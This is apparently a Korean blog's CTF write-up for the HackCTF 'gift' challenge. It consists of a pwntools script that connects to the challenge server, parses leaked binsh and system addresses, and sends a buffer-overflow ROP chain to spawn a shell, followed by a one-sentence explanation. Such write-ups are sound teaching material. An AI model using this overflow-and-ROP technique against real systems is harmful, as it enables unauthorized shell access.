from pwn import *
#p = process('./gift')
p = remote('ctf.j0n9hyun.xyz', 3018)
e = ELF('./gift')
pause()
context.log_level = "debug"
p_r = 0x0804866b
gets = 0x80483d0
payload = 'a' *0x84 + 'b' * 4
p.recvuntil(': ')
sh = (int(p.recv(9),16))
p.recv(1)
sys =(int(p.recv(10),16))
log.info('binsh : ' + hex(sh))
log.info('system : ' + hex(sys))
p.recv()
p.sendline('a')
payload += p32(gets)
payload += p32(p_r)
payload += p32(sh)
payload += p32(sys)
payload += 'a' * 4
payload += p32(sh)
p.sendline(payload)
p.sendline('sh\x00')
p.interactive()
binsh주소와 system의 주소를 주니 그것을 받아서 rop를 통해 binsh에 sh\x00을 넣고 그것을 system()의 인자로 주면 익스가 가능하다.
'CTF write-up > hackctf' 카테고리의 다른 글
[hackctf]rtc (0) | 2019.07.19 |
---|---|
[hackctf]pwning (0) | 2019.07.18 |
[hackctf]look_at_me (0) | 2019.07.18 |
[hackctf]beginner_heap (0) | 2019.07.18 |
[hackctf]random (0) | 2019.07.18 |